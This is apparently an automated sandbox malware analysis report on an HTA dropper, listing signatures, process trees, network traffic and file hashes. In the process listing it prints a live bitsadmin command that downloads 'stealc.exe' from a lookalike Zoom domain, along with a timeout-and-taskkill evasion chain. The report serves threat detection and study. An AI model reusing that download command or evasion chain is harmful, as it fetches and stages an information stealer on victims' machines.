Malware Analysis Report

2024-11-16 15:45

Sample ID 241109-aee2bsshjj
Target 92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138.zip
SHA256 a8bc9a4c9133c21962a6abd9b0bade6ee609df84c0e69c957d6a1b3ff2fcb49e
Tags
google discovery dropper phishing
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

a8bc9a4c9133c21962a6abd9b0bade6ee609df84c0e69c957d6a1b3ff2fcb49e

Threat Level: Likely malicious

The file 92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138.zip was found to be: Likely malicious.

Malicious Activity Summary

google discovery dropper phishing

Download via BitsAdmin

Blocklisted process makes network request

Detected potential entity reuse from brand GOOGLE.

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Kills process with taskkill

Delays execution with timeout.exe

Modifies Internet Explorer settings

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-09 00:07

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-09 00:07

Reported

2024-11-09 00:08

Platform

win7-20241010-en

Max time kernel

34s

Max time network

35s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138.hta"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

Detected potential entity reuse from brand GOOGLE.

phishing google

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\timeout.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1656 wrote to memory of 2788 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\cmd.exe
PID 1656 wrote to memory of 2788 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\cmd.exe
PID 1656 wrote to memory of 2788 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\cmd.exe
PID 1656 wrote to memory of 2788 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\cmd.exe
PID 1656 wrote to memory of 1884 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1656 wrote to memory of 1884 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1656 wrote to memory of 1884 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1656 wrote to memory of 1884 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2788 wrote to memory of 2628 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2788 wrote to memory of 2628 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2788 wrote to memory of 2628 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2788 wrote to memory of 2628 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2788 wrote to memory of 2584 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2788 wrote to memory of 2584 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2788 wrote to memory of 2584 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2788 wrote to memory of 2584 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138.hta"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c timeout /t 30 /nobreak > nul && taskkill /F /PID

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer myDownloadJob /download /priority foreground https://us18web-zoom.us/stealc.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe

C:\Windows\SysWOW64\timeout.exe

timeout /t 30 /nobreak

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /PID

Network

Country Destination Domain Proto
US 8.8.8.8:53 support.google.com udp
GB 172.217.169.14:443 support.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.187.227:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.187.227:80 o.pki.goog tcp
US 8.8.8.8:53 us18web-zoom.us udp

Files

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5GWW47WY\favicon[1].ico

MD5 f3418a443e7d841097c714d69ec4bcb8
SHA1 49263695f6b0cdd72f45cf1b775e660fdc36c606
SHA256 6da5620880159634213e197fafca1dde0272153be3e4590818533fab8d040770
SHA512 82d017c4b7ec8e0c46e8b75da0ca6a52fd8bce7fcf4e556cbdf16b49fc81be9953fe7e25a05f63ecd41c7272e8bb0a9fd9aedf0ac06cb6032330b096b3702563

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-09 00:07

Reported

2024-11-09 00:09

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

151s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

Detected potential entity reuse from brand GOOGLE.

phishing google

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Network

Country Destination Domain Proto
US 8.8.8.8:53 support.google.com udp
GB 172.217.169.14:443 support.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 14.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 227.187.250.142.in-addr.arpa udp
GB 142.250.187.227:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.187.227:80 o.pki.goog tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp

Files

N/A